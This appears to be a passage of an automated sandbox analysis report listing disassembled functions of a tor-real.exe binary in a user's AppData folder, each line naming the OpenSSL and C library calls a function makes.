Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2331F0 CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MD_CTX_free, 9_2_6C2331F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21F1FC __stack_chk_fail,CRYPTO_free, 9_2_6C21F1FC
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22F1C4 CRYPTO_free, 9_2_6C22F1C4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21B1C9 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,ERR_put_error, 9_2_6C21B1C9
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2411D0 EVP_CIPHER_key_length,EVP_CIPHER_iv_length,CRYPTO_malloc,__stack_chk_fail,OPENSSL_cleanse,__stack_chk_fail,OPENSSL_cleanse,__stack_chk_fail,CRYPTO_malloc,memcpy,memcpy,CRYPTO_malloc,memcpy,memcmp,memcmp,memcmp,ERR_put_error,CRYPTO_clear_free,ERR_put_error, 9_2_6C2411D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21B203 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,ERR_put_error, 9_2_6C21B203
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21D20B CRYPTO_free,CRYPTO_strdup, 9_2_6C21D20B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21B241 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,ERR_put_error, 9_2_6C21B241
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20524B X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free, 9_2_6C20524B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C233256 CRYPTO_free,CRYPTO_free,CRYPTO_free,EVP_CIPHER_CTX_free,EVP_MD_CTX_free, 9_2_6C233256
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21B256 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,BIO_free,ERR_put_error, 9_2_6C21B256
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C1F5280 CRYPTO_zalloc,ERR_put_error, 9_2_6C1F5280
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C209280 ERR_put_error,CRYPTO_malloc,CRYPTO_malloc,CRYPTO_free,OPENSSL_sk_new_null,OPENSSL_sk_value,OPENSSL_sk_push,OPENSSL_sk_num,OPENSSL_sk_push,CRYPTO_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_free,CRYPTO_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_set_cmp_func,OPENSSL_sk_sort,OPENSSL_sk_free,CRYPTO_free,ERR_put_error,CRYPTO_free,ERR_put_error,CRYPTO_free,__stack_chk_fail,BIO_snprintf,CRYPTO_malloc,ERR_put_error, 9_2_6C209280
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2272E0 time,EVP_MD_CTX_new,EVP_PKEY_new_raw_private_key,EVP_sha256,EVP_DigestSignInit,EVP_DigestSign,EVP_MD_CTX_free,EVP_PKEY_free,CRYPTO_memcmp,EVP_MD_CTX_free,EVP_PKEY_free,EVP_MD_CTX_free,EVP_PKEY_free,__stack_chk_fail, 9_2_6C2272E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2052F0 EVP_PKEY_free,X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free, 9_2_6C2052F0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C235336 EVP_PKEY_size,BIO_free,EVP_MD_CTX_free,CRYPTO_free,EVP_PKEY_id, 9_2_6C235336
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C20531B EVP_PKEY_free,X509_free,EVP_PKEY_free,OPENSSL_sk_pop_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,X509_STORE_free,X509_STORE_free,CRYPTO_free,CRYPTO_THREAD_lock_free,CRYPTO_free, 9_2_6C20531B
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C239361 EVP_MD_CTX_new,strlen,EVP_PKEY_security_bits,BN_num_bits,BN_bn2bin,EVP_PKEY_size,EVP_DigestSignInit,EVP_DigestSign,CRYPTO_free,BN_num_bits,BN_num_bits,memset,EVP_PKEY_free,CRYPTO_free,EVP_MD_CTX_free,EVP_PKEY_new,EVP_PKEY_assign,EVP_PKEY_get1_tls_encodedpoint,CRYPTO_free,DH_free,EVP_PKEY_get0_DH,EVP_PKEY_free,DH_get0_pqg,DH_get0_key,EVP_MD_CTX_free,RSA_pkey_ctx_ctrl,RSA_pkey_ctx_ctrl,__stack_chk_fail,CRYPTO_free,CRYPTO_malloc,RAND_bytes,__stack_chk_fail, 9_2_6C239361
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C21D340 CRYPTO_free,CRYPTO_memdup, 9_2_6C21D340
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23B340 OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_free,OPENSSL_sk_free,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free,OPENSSL_sk_num,OPENSSL_sk_value,memcmp,OPENSSL_sk_value,OPENSSL_sk_num,memcpy,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_free,OPENSSL_sk_dup,OPENSSL_sk_value,OPENSSL_sk_num,OPENSSL_sk_num,OPENSSL_sk_value,__stack_chk_fail,CRYPTO_memcmp, 9_2_6C23B340
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C22F3A4 CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C22F3A4
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C23F387 CRYPTO_clear_free,EVP_PKEY_free, 9_2_6C23F387
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3045A0 ASN1_item_i2d,ASN1_item_ex_i2d,CRYPTO_malloc,malloc,ASN1_item_ex_i2d,ERR_put_error,ASN1_object_size,ASN1_put_object,__stack_chk_fail, 9_2_6C3045A0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33C0A0 BUF_MEM_free,CRYPTO_secure_clear_free,CRYPTO_free,CRYPTO_clear_free,free, 9_2_6C33C0A0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33C120 BUF_MEM_grow,CRYPTO_secure_malloc,memcpy,CRYPTO_secure_clear_free,CRYPTO_realloc,malloc,memset,memset,ERR_put_error, 9_2_6C33C120
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2E90A0 CRYPTO_malloc,malloc,memcpy,CRYPTO_free,ASN1_BIT_STRING_new,ERR_put_error,ASN1_BIT_STRING_free,ERR_put_error, 9_2_6C2E90A0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3FF1D0 CRYPTO_zalloc,CRYPTO_malloc,malloc,memset, 9_2_6C3FF1D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3132D0 BIO_free,CRYPTO_free_ex_data,CRYPTO_THREAD_lock_free,CRYPTO_free,free, 9_2_6C3132D0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3FD3E0 OPENSSL_LH_insert,CRYPTO_realloc,memset,CRYPTO_malloc,malloc,__stack_chk_fail, 9_2_6C3FD3E0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33EC30 CAST_cfb64_encrypt,CAST_encrypt,CAST_encrypt,__stack_chk_fail,CAST_ecb_encrypt,CAST_encrypt,CAST_decrypt,__stack_chk_fail, 9_2_6C33EC30
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30AC39 CRYPTO_THREAD_get_local,CRYPTO_free,OPENSSL_sk_push, 9_2_6C30AC39
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3EAC20 EVP_EncryptFinal_ex,memset,ERR_put_error,ERR_put_error,OPENSSL_die, 9_2_6C3EAC20
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3DAC10 EVP_Digest,CRYPTO_zalloc,EVP_MD_CTX_set_flags,EVP_DigestInit_ex,EVP_MD_CTX_reset,CRYPTO_free,EVP_MD_CTX_set_flags,OPENSSL_cleanse,OPENSSL_die,EVP_MD_CTX_ctrl, 9_2_6C3DAC10
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C330C00 CRYPTO_free,CRYPTO_malloc,__stack_chk_fail, 9_2_6C330C00
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C362C00 DH_meth_dup,CRYPTO_malloc,CRYPTO_strdup,CRYPTO_free,ERR_put_error, 9_2_6C362C00
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3D2C00 ERR_reason_error_string,CRYPTO_THREAD_run_once,CRYPTO_THREAD_read_lock,OPENSSL_LH_retrieve,CRYPTO_THREAD_unlock, 9_2_6C3D2C00
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3FAC00 OPENSSL_atexit,GetModuleHandleExW,CRYPTO_malloc,ERR_put_error,__stack_chk_fail,CRYPTO_clear_free,CRYPTO_memdup,CRYPTO_clear_free,CRYPTO_memdup,memcpy, 9_2_6C3FAC00
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C34CC70 CMS_EncryptedData_decrypt,CMS_get0_type,OBJ_obj2nid,CMS_EncryptedData_set1_key,CMS_dataInit,BIO_pop,BIO_free,CMS_get0_content,ERR_put_error,ERR_put_error,BIO_free_all, 9_2_6C34CC70
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3CEC70 ENGINE_get_prev,CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,ENGINE_free,ERR_put_error, 9_2_6C3CEC70
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3F6CB0 CRYPTO_new_ex_data,CRYPTO_THREAD_run_once,CRYPTO_THREAD_write_lock,OPENSSL_sk_num,OPENSSL_sk_value,CRYPTO_THREAD_unlock,OPENSSL_sk_num,OPENSSL_sk_value,CRYPTO_free,CRYPTO_malloc,CRYPTO_THREAD_unlock,ERR_put_error,ERR_put_error,CRYPTO_THREAD_unlock,ERR_put_error,__stack_chk_fail, 9_2_6C3F6CB0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C354CA0 i2o_SCT,memcpy,CRYPTO_malloc,memcpy,ERR_put_error,CRYPTO_free,ERR_put_error,__stack_chk_fail, 9_2_6C354CA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C32EC80 CRYPTO_zalloc,memcpy,CRYPTO_clear_free,CRYPTO_secure_zalloc,CRYPTO_secure_clear_free,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C32EC80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C346C80 EVP_CIPHER_CTX_key_length,EVP_PKEY_derive,EVP_CipherInit_ex,OPENSSL_cleanse,CRYPTO_free,EVP_CIPHER_CTX_reset,EVP_PKEY_CTX_free,EVP_CipherUpdate,CRYPTO_malloc,EVP_CipherUpdate,OPENSSL_cleanse,OPENSSL_cleanse,__stack_chk_fail,CMS_RecipientInfo_kari_get0_alg,ERR_put_error, 9_2_6C346C80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C46CCF0 UI_new,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,UI_get_default_method,CRYPTO_new_ex_data,UI_null,ERR_put_error,CRYPTO_free,ERR_put_error,CRYPTO_free, 9_2_6C46CCF0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C390C80 EC_GROUP_set_seed,CRYPTO_free,CRYPTO_malloc,memcpy,ERR_put_error, 9_2_6C390C80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3D4C80 ERR_peek_last_error_line_data,ERR_get_state,CRYPTO_free,CRYPTO_free, 9_2_6C3D4C80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35ACF0 DES_decrypt3,DES_encrypt2,DES_encrypt2,DES_encrypt2, 9_2_6C35ACF0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C362CF0 DH_meth_set1_name,CRYPTO_strdup,CRYPTO_free,ERR_put_error, 9_2_6C362CF0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3CECF0 ENGINE_add,CRYPTO_THREAD_write_lock,strcmp,ERR_put_error,ERR_put_error,CRYPTO_THREAD_unlock,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C3CECF0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C40CC90 OPENSSL_hexstr2buf,strlen,CRYPTO_malloc,CRYPTO_free,ERR_put_error,ERR_put_error,CRYPTO_free,ERR_put_error, 9_2_6C40CC90
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30CCE1 CRYPTO_strndup,CRYPTO_strndup,strlen, 9_2_6C30CCE1
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EACF9 CRYPTO_malloc,memcpy,CRYPTO_free, 9_2_6C2EACF9
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3D2CE0 CRYPTO_THREAD_get_local,CRYPTO_THREAD_set_local,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C3D2CE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30CCC3 CRYPTO_strndup, 9_2_6C30CCC3
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C304D34 OPENSSL_sk_num,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free, 9_2_6C304D34
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C34AD00 CMS_SignerInfo_verify,OBJ_obj2nid,OBJ_nid2sn,EVP_get_digestbyname,EVP_DigestVerifyInit,ASN1_item_i2d,EVP_DigestUpdate,CRYPTO_free,EVP_DigestVerifyFinal,ERR_put_error,ERR_put_error,EVP_MD_CTX_reset,EVP_MD_CTX_new,ERR_put_error,ERR_put_error,ERR_put_error,__stack_chk_fail, 9_2_6C34AD00
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C342D50 CMAC_resume,EVP_EncryptInit_ex, 9_2_6C342D50
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EED43 CRYPTO_clear_free,CRYPTO_clear_free, 9_2_6C2EED43
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C304D47 OPENSSL_sk_num,OPENSSL_sk_free,CRYPTO_free,CRYPTO_free, 9_2_6C304D47
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C40EDC0 OBJ_sn2nid,OPENSSL_LH_retrieve,strcmp,__stack_chk_fail,OBJ_txt2obj,OBJ_sn2nid,OBJ_ln2nid,a2d_ASN1_OBJECT,ASN1_object_size,CRYPTO_malloc,ASN1_put_object,a2d_ASN1_OBJECT,d2i_ASN1_OBJECT,CRYPTO_free,OPENSSL_LH_retrieve,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C40EDC0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F2DA0 ASN1_TIME_set_string_X509,strlen,ASN1_UTCTIME_check,ASN1_STRING_copy,CRYPTO_free,ASN1_GENERALIZEDTIME_check,CRYPTO_zalloc,memcpy,__stack_chk_fail,ASN1_TIME_to_tm,time,OPENSSL_gmtime,__stack_chk_fail,ASN1_TIME_diff,time,OPENSSL_gmtime,OPENSSL_gmtime_diff,time,OPENSSL_gmtime,__stack_chk_fail,ASN1_TIME_print,BIO_printf,BIO_write,BIO_printf,__stack_chk_fail,ASN1_TIME_cmp_time_t,OPENSSL_gmtime,OPENSSL_gmtime_diff,time,OPENSSL_gmtime,__stack_chk_fail,ASN1_TIME_normalize,ASN1_STRING_set,time,OPENSSL_gmtime,ASN1_STRING_new,ASN1_STRING_set,BIO_snprintf,ASN1_STRING_set,ASN1_STRING_free,__stack_chk_fail,ASN1_TIME_compare,OPENSSL_gmtime_diff,time,OPENSSL_gmtime,time,OPENSSL_gmtime,__stack_chk_fail,ASN1_TYPE_get, 9_2_6C2F2DA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EEDB8 CRYPTO_clear_free,CRYPTO_clear_free,ERR_put_error, 9_2_6C2EEDB8
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C38EDA0 EC_KEY_free,ENGINE_finish,CRYPTO_free_ex_data,CRYPTO_THREAD_lock_free,EC_GROUP_free, 9_2_6C38EDA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3EAD90 EVP_DecryptUpdate,EVP_CIPHER_CTX_test_flags,ERR_put_error,ERR_put_error,memcpy,memcpy,EVP_CIPHER_flags,ERR_put_error,OPENSSL_die,EVP_DecryptFinal,ERR_put_error,ERR_put_error,ERR_put_error,ERR_put_error,OPENSSL_die, 9_2_6C3EAD90
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30AD80 CRYPTO_THREAD_get_local,DeleteFiber,OPENSSL_sk_pop,CRYPTO_free,DeleteFiber,CRYPTO_free,OPENSSL_sk_pop,OPENSSL_sk_free,CRYPTO_free,CRYPTO_THREAD_set_local,CRYPTO_THREAD_get_local,CRYPTO_THREAD_set_local,CRYPTO_free, 9_2_6C30AD80
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2EEDF9 CRYPTO_clear_free,CRYPTO_clear_free,ERR_put_error, 9_2_6C2EEDF9
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C430DA0 RAND_DRBG_get0_private,CRYPTO_THREAD_run_once,CRYPTO_THREAD_get_local,RAND_DRBG_instantiate,CRYPTO_THREAD_set_local,CRYPTO_THREAD_lock_free,CRYPTO_free_ex_data,CRYPTO_secure_clear_free,CRYPTO_clear_free, 9_2_6C430DA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33EDC0 CAST_ecb_encrypt,CAST_encrypt, 9_2_6C33EDC0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C34CDC0 CMS_EncryptedData_encrypt,CMS_ContentInfo_new,CMS_EncryptedData_set1_key,CMS_dataInit,SMIME_crlf_copy,BIO_ctrl,CMS_dataFinal,BIO_free_all,CMS_set_detached,ERR_put_error,CMS_ContentInfo_free,ERR_put_error,ERR_put_error,BIO_free_all, 9_2_6C34CDC0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3ECDC0 EVP_PBE_CipherInit,OBJ_obj2nid,OPENSSL_sk_find,OPENSSL_sk_value,strlen,OBJ_nid2sn,EVP_get_cipherbyname,OBJ_nid2sn,EVP_get_digestbyname,OBJ_bsearch_,ERR_put_error,i2t_ASN1_OBJECT,ERR_add_error_data,OPENSSL_strlcpy,ERR_put_error,ERR_put_error,ERR_put_error,__stack_chk_fail,EVP_PBE_alg_add_type,CRYPTO_malloc,OPENSSL_sk_push,CRYPTO_free,ERR_put_error,OPENSSL_sk_new, 9_2_6C3ECDC0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C326E30 BN_BLINDING_new,CRYPTO_zalloc,CRYPTO_THREAD_lock_new,CRYPTO_THREAD_get_current_id,BN_dup,BN_dup,BN_dup,BN_get_flags,BN_set_flags,BN_free,BN_free,BN_free,BN_free,CRYPTO_THREAD_lock_free,CRYPTO_free,ERR_put_error,ERR_put_error,CRYPTO_free, 9_2_6C326E30
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3D0E30 ENGINE_pkey_asn1_find_str,CRYPTO_THREAD_run_once,CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,ERR_put_error,__stack_chk_fail, 9_2_6C3D0E30
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F4E20 EVP_PKEY_asn1_add_alias,CRYPTO_zalloc,OPENSSL_sk_find,OPENSSL_sk_push,OPENSSL_sk_sort, 9_2_6C2F4E20
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C35AE20 DES_ncbc_encrypt,DES_encrypt1,DES_encrypt1,DES_encrypt1, 9_2_6C35AE20
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2FCE00 i2a_ASN1_STRING,BIO_write,BIO_write,BIO_write,__stack_chk_fail,a2i_ASN1_STRING,BIO_gets,OPENSSL_hexchar2int,OPENSSL_hexchar2int,ERR_put_error,CRYPTO_free,BIO_gets,CRYPTO_realloc,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C2FCE00
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C38CE00 d2i_ECPrivateKey,ASN1_item_d2i,EC_GROUP_free,EC_GROUP_new_from_ecpkparameters,ASN1_STRING_length,ASN1_STRING_get0_data,EC_KEY_oct2priv,EC_POINT_clear_free,EC_POINT_new,ASN1_STRING_get0_data,ASN1_STRING_length,EC_KEY_oct2key,ASN1_item_free,ERR_put_error,EC_KEY_free,ASN1_item_free,EC_KEY_new,ERR_put_error,ERR_put_error,ERR_put_error,__stack_chk_fail,i2d_ECPrivateKey,ASN1_item_new,EC_KEY_priv2buf,ASN1_STRING_set0,ASN1_item_i2d,CRYPTO_clear_free,CRYPTO_free,ASN1_item_free,ERR_put_error,CRYPTO_clear_free,CRYPTO_free,ASN1_item_free,ERR_put_error,ASN1_BIT_STRING_new,EC_KEY_key2buf,ASN1_STRING_set0,ERR_put_error,EC_GROUP_get_ecpkparameters,ERR_put_error,__stack_chk_fail,i2d_ECParameters,ASN1_item_new,EC_GROUP_get_asn1_flag,EC_GROUP_get_curve_name,OBJ_nid2obj,OBJ_length,EC_GROUP_get_ecparameters,ASN1_item_i2d,ASN1_item_free,ERR_put_error,ASN1_item_free,ASN1_OBJECT_free,ERR_put_error,ASN1_item_free,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C38CE00
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F2E67 ASN1_STRING_copy,CRYPTO_free,CRYPTO_zalloc,memcpy, 9_2_6C2F2E67
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F0E74 BIO_write,BIO_write,BIO_write,BIO_write,i2d_ASN1_TYPE,CRYPTO_malloc,i2d_ASN1_TYPE,BIO_write,CRYPTO_free,CRYPTO_free,ERR_put_error, 9_2_6C2F0E74
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F0E40 ASN1_STRING_print_ex,ASN1_tag2str,strlen,BIO_write,__stack_chk_fail,ASN1_STRING_print_ex_fp,fwrite,fwrite,ASN1_tag2str,strlen,fwrite,fwrite,i2d_ASN1_TYPE,CRYPTO_malloc,i2d_ASN1_TYPE,fwrite,CRYPTO_free,CRYPTO_free,ERR_put_error,__stack_chk_fail,ASN1_STRING_to_UTF8,ASN1_mbstring_copy,__stack_chk_fail, 9_2_6C2F0E40
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C33EE40 CAST_encrypt, 9_2_6C33EE40
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3D4EB0 ERR_peek_error_line_data,ERR_get_state,CRYPTO_free,CRYPTO_free, 9_2_6C3D4EB0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2FEEB0 ASN1_bn_print,BN_is_negative,BIO_indent,BN_is_zero,BN_num_bits,BIO_printf,BIO_printf,BN_num_bits,CRYPTO_malloc,BIO_printf,BN_bn2bin,ASN1_buf_print,CRYPTO_clear_free, 9_2_6C2FEEB0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30AE90 ASYNC_cleanup_thread,OPENSSL_init_crypto, 9_2_6C30AE90
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C3CEEF0 ENGINE_remove,CRYPTO_THREAD_write_lock,CRYPTO_THREAD_unlock,ERR_put_error,ERR_put_error,ERR_put_error, 9_2_6C3CEEF0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C34EEE0 OPENSSL_LH_retrieve,__stack_chk_fail,OPENSSL_sk_push,OPENSSL_LH_insert,OPENSSL_sk_delete_ptr,CRYPTO_free,CRYPTO_free,CRYPTO_free, 9_2_6C34EEE0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C40EEA0 OBJ_txt2obj,OBJ_sn2nid,OBJ_ln2nid,a2d_ASN1_OBJECT,ASN1_object_size,CRYPTO_malloc,ASN1_put_object,a2d_ASN1_OBJECT,d2i_ASN1_OBJECT,CRYPTO_free,__stack_chk_fail,OBJ_txt2nid,OBJ_sn2nid,OBJ_ln2nid,a2d_ASN1_OBJECT,ASN1_object_size,CRYPTO_malloc,ASN1_put_object,a2d_ASN1_OBJECT,d2i_ASN1_OBJECT,CRYPTO_free,OBJ_obj2nid,ASN1_OBJECT_free,OPENSSL_LH_retrieve,ERR_put_error,ERR_put_error,ERR_put_error,__stack_chk_fail, 9_2_6C40EEA0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30AED0 ASYNC_get_current_job,OPENSSL_init_crypto,CRYPTO_THREAD_get_local, 9_2_6C30AED0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C38EED0 EC_KEY_copy,ENGINE_finish,EC_GROUP_method_of,EC_GROUP_free,EC_GROUP_new,EC_GROUP_copy,EC_POINT_free,EC_POINT_new,EC_POINT_copy,BN_copy,CRYPTO_dup_ex_data,ENGINE_init,BN_new,ERR_put_error, 9_2_6C38EED0
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C30AF30 ASYNC_block_pause,OPENSSL_init_crypto,CRYPTO_THREAD_get_local, 9_2_6C30AF30
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C304F04 OPENSSL_sk_num,OPENSSL_sk_free,CRYPTO_free, 9_2_6C304F04
Source: C:\Users\user\AppData\Local\zfzs6gcqx8\tor\tor-real.exe Code function: 9_2_6C2F8F73 strlen,OPENSSL_sk_push,strlen,strlen,OPENSSL_sk_push,CRYPTO_free,CRYPTO_free,OPENSSL_sk_pop_free,CRYPTO_free,OPENSSL_sk_pop_free, 9_2_6C2F8F73
